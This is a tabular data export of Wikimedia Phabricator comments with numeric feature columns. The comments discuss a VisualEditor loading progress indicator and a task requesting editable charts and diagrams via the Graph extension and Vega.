436306,VisualEditor: Show percentage of progress in loading animation,Implemented by Ed in https://gerrit.wikimedia.org/r/#/c/196583/,,,1427850989,,PHID-USER-r7wrkcx7j2vutqs6hr3g,True,,,PHID-TASK-boxjw4hklzqeriwzj6zc,task_subcomment,,True,c1,3,True,,,91,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Implemented by Ed in URL
241641,VisualEditor: Show percentage of progress in loading animation,"Not sure how we'd judge progress on this one, but it'd be useful for users…",,,1415881533,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-boxjw4hklzqeriwzj6zc,task_subcomment,,True,c1,3,True,,,71,,0.0,0.0,0.0,0.0,5.0,11.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.210526315789474,0.9473684210526315,"Not sure how we'd judge progress on this one, but it'd be useful for users…"
56221,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","Moving here the following proposals:
<https://strategy.wikimedia.org/wiki/Proposal:Text_or_Syntax_driven_Charts,_Diagrams,_Graphs_and_more>
<https://strategy.wikimedia.org/wiki/Proposal:Editable_Graphics>
<https://strategy.wikimedia.org/wiki/Proposal:Markup_for_charts_and_graphs>
(with some of the participants in cc).

* «By now Wikipedia has markup/code for everything—math (TeX), parser functions, location maps, and even SVG is supported. However, what is notably missing from many articles (other than high-quality portraits) are graphs and charts.»
* «There are many types of diagrams. The need for collaborative graphics is wide ranging, from map making to biochemical pathways to flow charts to genealogy to general charting. Each type of graphic has or could have a little language, XML or other representation to define graphics of that type succinctly. Whilst all can be presented as .pngs or .SVGs, the more succinct description is necessary for editability.»

This is distinct from bug 43616 (Provide a way to create interactive 2D/3D timelines and infographics e.g. Java applets, AJAX, Flash) in that it's not about *interactive* stuff and that there are some existing extensions which someone should assess and develop for Wikimedia purposes. I'd also leave maps out of it because that's being addressed (at last) elsewhere.
Part of it will be solved by bug 38271, but only to a degree.

Mentioned extensions: [[mw:Extension:Graph]], [[mw:Extension:GnuplotBasic]], [[mw:Extension:Plotters]], [[mw:Extension:WikiPlot]].

Keywords from the proposals: http://bloodgate.com/perl/graph/, Java .jar, Flash .swf, Silverlight .scr, ActiveX .ocx, Vector (.svg) .svg (XML), AnyWikiDraw, AnyWikiDraw, WikiPathways, WikiTex, Graph Plugin, DPL Bundle, TeX, gluplot, pgfplots.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1379420040,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_description,open,True,c1,3,True,False,,11,,1.5,0.5,0.0,1.0,0.25,4.75,0.75,0.25,0.0,0.0,1.25,0.25,0.0,0.25,0.5,0.25,0.0,3.25,8.25,0.5,0.75,0.25,0.25,0.0,0.0,0.75,0.0,0.0,0.5,0.5,0.25,3.0,0.0,0.75,0.25,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.25,4.0,0.25,0.75,0.0,0.0,0.0,11.5,0.5,0.75,0.25,0.25,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.25,0.0,0.0,2.0,2.75,13.25,0.75,2.25,4.25,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,1.0,8.25,9.75,0.0,0.0,0.0,1.0,0.0,0.5,0.75,0.0,1.5,0.25,0.0,4.0,3.887640449438202,0.6797752808988764,"Moving here the following proposals:
<URL
<URL
<URL
(with some of the participants in cc).

* «By now Wikipedia has markup/code for everything—math (TeX), parser functions, location maps, and even SVG is supported. However, what is notably missing from many articles (other than high-quality portraits) are graphs and charts.»
* «There are many types of diagrams. The need for collaborative graphics is wide ranging, from map making to biochemical pathways to flow charts to genealogy to general charting. Each type of graphic has or could have a little language, XML or other representation to define graphics of that type succinctly. Whilst all can be presented as .pngs or .SVGs, the more succinct description is necessary for editability.»

This is distinct from bug 43616 (Provide a way to create interactive 2D/3D timelines and infographics e.g. Java applets, AJAX, Flash) in that it's not about *interactive* stuff and that there are some existing extensions which someone should assess and develop for Wikimedia purposes. I'd also leave maps out of it because that's being addressed (at last) elsewhere.
Part of it will be solved by bug 38271, but only to a degree.

Mentioned extensions: [[mw:Extension:Graph]], [[mw:Extension:GnuplotBasic]], [[mw:Extension:Plotters]], [[mw:Extension:WikiPlot]].

Keywords from the proposals: URL Java .jar, Flash .swf, Silverlight .scr, ActiveX .ocx, Vector (.svg) .svg (XML), AnyWikiDraw, AnyWikiDraw, WikiPathways, WikiTex, Graph Plugin, DPL Bundle, TeX, gluplot, pgfplots.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
1854454,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","Regarding ""enabling"", see https://www.mediawiki.org/wiki/Writing_an_extension_for_deployment if someone is interested",,,1643486674,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,True,,,447,,0.0,9.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,4.2727272727272725,0.9090909090909091,"Regarding ""enabling"", see URL if someone is interested"
1854450,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","nowadays there is an extenstion https://www.mediawiki.org/wiki/Extension:Diagrams , would enabling it be a step into the right direction?
",,,1643485832,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,447,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,11.0,5.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,4.0,1.0,"nowadays there is an extenstion URL , would enabling it be a step into the right direction?
"
1524110,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)",{T183689} is a related task.,,,1591962226,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,362,,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,{T183689} is a related task.
582097,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","Actionable tasks are not the only use case for Phabricator; cf. for example the #Epic project.  Additionally, I think tasks with subtasks are very preferable to projects in some cases as they themselves have a status, a dependency tree, etc.

This task has two blocking subtasks that have not been resolved, so this task itself does not seem to be resolved.  AFAIUI, for example you don't want to work on T56222 (which is fine), but that also means that someone else needs to do the deed to convert those cladograms to Extension:Graph (or something else).",,,1450709456,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,129,,0.5,1.5,0.5,1.5,2.5,2.5,2.0,0.0,0.0,0.0,1.0,1.0,0.0,0.5,0.0,0.5,0.0,6.0,10.5,1.5,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.5,1.0,0.0,1.0,1.0,1.0,0.0,1.5,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.5,1.0,12.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.5,0.0,3.0,3.5,6.5,1.5,1.5,7.0,0.0,0.0,0.0,0.5,5.0,0.0,0.5,0.0,3.0,10.5,2.0,0.0,0.0,0.0,3.0,0.0,1.5,1.0,1.5,0.5,0.0,0.0,1.0,3.9152542372881354,0.788135593220339,"Actionable tasks are not the only use case for Phabricator; cf. for example the #Epic project.  Additionally, I think tasks with subtasks are very preferable to projects in some cases as they themselves have a status, a dependency tree, etc.

This task has two blocking subtasks that have not been resolved, so this task itself does not seem to be resolved.  AFAIUI, for example you don't want to work on T56222 (which is fine), but that also means that someone else needs to do the deed to convert those cladograms to Extension:Graph (or something else)."
582061,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","@nemo_bis, this is not what the bug description states. I think the better use of phabricator would be to create small, actionable, and well scoped tasks for specific feature, and mark those with some project tag for tracking. Otherwise this task grows infinitely large and not very useful. Having small tasks allows each feature to be discussed separately, and different devs can pick them up for implementation.  The only reason why we had the [tracking] tasks in Bugzilla was because there was no good support for tagging (projects).",,,1450703140,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,129,,1.5,0.0,1.0,1.0,1.0,7.5,1.5,1.0,0.0,0.0,1.5,0.0,0.0,1.0,1.0,1.5,0.0,5.5,8.5,0.0,1.5,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.5,0.0,3.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,13.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,4.0,4.5,2.0,2.5,7.0,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,2.5,8.5,1.0,0.0,0.0,0.0,2.5,0.0,1.5,0.0,1.0,1.0,0.5,0.0,1.0,4.377450980392156,0.8548265460030167,"SCREEN_NAME, this is not what the bug description states. I think the better use of phabricator would be to create small, actionable, and well scoped tasks for specific feature, and mark those with some project tag for tracking. Otherwise this task grows infinitely large and not very useful. Having small tasks allows each feature to be discussed separately, and different devs can pick them up for implementation.  The only reason why we had the [tracking] tasks in Bugzilla was because there was no good support for tagging (projects)."
581953,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","This bug's purpose is precisely to collect requirements and map alternatives. Two of them are identified by the two blockers. :) If you think the usecase behind that extension is another, please add to blockers.",,,1450683051,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,True,,,129,,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,10.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,8.0,2.0,2.0,12.0,0.0,2.0,0.0,0.0,5.0,2.0,5.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.425,0.85,"This bug's purpose is precisely to collect requirements and map alternatives. Two of them are identified by the two blockers. :) If you think the usecase behind that extension is another, please add to blockers."
581827,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","Closing because we now have <graph>, and because this task is too broad. Please add more specific tasks for anything that's missing :)",,,1450639655,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,128,,0.0,4.0,0.0,0.0,0.0,7.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,7.0,4.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,4.0,0.0,7.0,4.0,0.9642857142857143,"Closing because we now have <graph>, and because this task is too broad. Please add more specific tasks for anything that's missing :)"
581826,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","@yurik OK.  I'm happy now.  Yep, I did know d3.js was under Vega, just previously had doubts that enough of that flexibility was exposed.   We can't have end users writing arbitrary javascript, so how the functionality is exposed really matters.

I think I am already now OK with this task being closed.  There is obviously tons more to do and tons more that could be done, but the basics of the template driven transform of json to svg or canvas are there, which is what this task was asking for. 
",,,1450639269,,PHID-USER-tkx4pj3lyasedlwiiqzm,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,128,,0.0,0.0,0.0,2.0,0.5,5.5,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,3.0,0.0,6.5,7.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,1.5,5.0,1.5,0.0,0.5,0.0,0.0,1.0,1.0,1.0,0.0,0.0,2.0,1.0,0.0,1.0,0.5,0.0,0.5,11.0,0.0,2.5,1.0,3.5,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.5,0.0,1.0,0.0,0.0,0.0,2.5,8.0,7.0,1.0,3.5,5.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.5,7.0,2.0,0.0,0.0,0.0,3.5,0.0,3.5,0.0,0.0,1.5,2.0,0.0,0.5,3.805723905723906,0.8074074074074074,"SCREEN_NAME OK.  I'm happy now.  Yep, I did know d3.js was under Vega, just previously had doubts that enough of that flexibility was exposed.   We can't have end users writing arbitrary javascript, so how the functionality is exposed really matters.

I think I am already now OK with this task being closed.  There is obviously tons more to do and tons more that could be done, but the basics of the template driven transform of json to svg or canvas are there, which is what this task was asking for. 
"
581824,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","@jamescrook, you mean [this example](http://vega.github.io/vega-editor/?mode=vega&spec=force)?  Also here is an [interactive version](http://vega.github.io/vega-editor/?mode=vega&spec=force_drag).

As for d3 - vega is based on d3, so, in theory, most of the capabilities of d3 are exposed. But yes, we will have to dig through it.",,,1450638578,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,128,,0.0,0.0,0.0,4.0,0.0,4.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,8.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,6.0,16.0,8.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,3.5098039215686274,0.803921568627451,"SCREEN_NAME, you mean [this example](URL  Also here is an [interactive version](URL

As for d3 - vega is based on d3, so, in theory, most of the capabilities of d3 are exposed. But yes, we will have to dig through it."
581823,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","@jamescrook, you mean [this example](http://vega.github.io/vega-editor/?mode=vega&spec=force)?  or an [interactive version](http://vega.github.io/vega-editor/?mode=vega&spec=force_drag)

As for d3 - vega is based on d3, so, in theory, most of the capabilities of d3 are exposed. But yes, we will have to dig through it.",,,1450638556,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,128,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,6.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,6.0,16.0,8.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,3.489795918367347,0.8163265306122449,"SCREEN_NAME, you mean [this example](URL  or an [interactive version](URL

As for d3 - vega is based on d3, so, in theory, most of the capabilities of d3 are exposed. But yes, we will have to dig through it."
581821,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","@Yurik , looking at the source for that tree it looks to be d3.js rather than Vega.",,,1450638376,,PHID-USER-tkx4pj3lyasedlwiiqzm,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,128,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,22.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,22.0,11.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,1.0,"SCREEN_NAME , looking at the source for that tree it looks to be d3.js rather than Vega."
581820,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","@yurik Vega doesn't currently seem to support those, at least not from the examples I can find.  They are motivating examples, so should not be swept under the carpet.  Biochemical pathways, flow charts and genealogy are all similar in being based on graphs (i.e. networks).  The Vega examples I am seeing are plots and maps.

I am wondering why I am seeing no force directed layouts with Vega, although the visual encoding transform is described in the documentation.  If we can get even a basic demo of some biochemical pathway done using a force directed layout then I am cool with this task being closed.  Elaboration and prettiness can come later.",,,1450638292,,PHID-USER-tkx4pj3lyasedlwiiqzm,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,128,,1.5,0.0,0.0,2.0,1.5,6.0,2.0,0.0,1.0,1.0,2.0,0.5,0.0,0.0,0.0,4.0,0.5,6.0,7.5,0.0,0.5,0.5,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,1.0,5.5,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.5,1.0,2.5,0.0,1.5,0.0,0.0,0.0,13.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,4.5,7.0,8.5,2.5,2.0,7.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,4.5,7.5,2.0,0.0,0.0,0.0,4.5,0.0,1.0,1.5,0.0,3.5,0.0,1.0,0.5,4.183799533799534,0.7786713286713287,"SCREEN_NAME Vega doesn't currently seem to support those, at least not from the examples I can find.  They are motivating examples, so should not be swept under the carpet.  Biochemical pathways, flow charts and genealogy are all similar in being based on graphs (i.e. networks).  The Vega examples I am seeing are plots and maps.

I am wondering why I am seeing no force directed layouts with Vega, although the visual encoding transform is described in the documentation.  If we can get even a basic demo of some biochemical pathway done using a force directed layout then I am cool with this task being closed.  Elaboration and prettiness can come later."
581812,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","Just found this [expandable tree sample](http://bl.ocks.org/alcy/raw/7702db089164c493a705/) that seems to be based on Vega with some additional hacks. Might be interesting to build something similar.  And of course there are existing samples like [heatmap](http://vega.github.io/vega-editor/?mode=vega&spec=heatmap&renderer=svg) and many other that might be useful.
CC: @jamescrook",,,1450636711,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,128,,4.0,2.0,0.0,2.0,0.0,14.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,12.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,12.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,8.0,12.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,2.0,12.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,2.0,4.52,0.86,"Just found this [expandable tree sample](URL that seems to be based on Vega with some additional hacks. Might be interesting to build something similar.  And of course there are existing samples like [heatmap](URL and many other that might be useful.
CC:SCREEN_NAME"
581804,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","@jamescrook, we have to narrow down this task, otherwise it sounds like ""create a platform that allows everything"", which is not really actionable.  From my reading of the description, Vega 2.0 should be able to handle most of it. If not, please create separate task that we can discuss.",,,1450633861,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,128,,0.0,2.0,0.0,0.0,3.0,7.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,7.0,13.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,2.0,0.0,7.0,0.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,3.0,3.0,7.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,10.0,2.0,3.0,0.0,8.0,13.0,2.0,0.0,3.0,0.0,8.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,3.9833333333333334,0.75,"SCREEN_NAME, we have to narrow down this task, otherwise it sounds like ""create a platform that allows everything"", which is not really actionable.  From my reading of the description, Vega 2.0 should be able to handle most of it. If not, please create separate task that we can discuss."
581798,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","Yurik, how does this address ""biochemical pathways to flow charts to genealogy"" from the description?

",,,1450632768,,PHID-USER-tkx4pj3lyasedlwiiqzm,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,128,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,15.0,5.0,5.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.45,0.9,"Yurik, how does this address ""biochemical pathways to flow charts to genealogy"" from the description?

"
581769,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)",Should this be closed?  We now have interactive graphs/charts/etc: https://www.mediawiki.org/wiki/Extension:Graph/Demo#Vega_2.0_Interactive_Examples,,,1450622876,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,128,,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,18.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.588235294117647,0.9411764705882353,Should this be closed?  We now have interactive graphs/charts/etc: URL
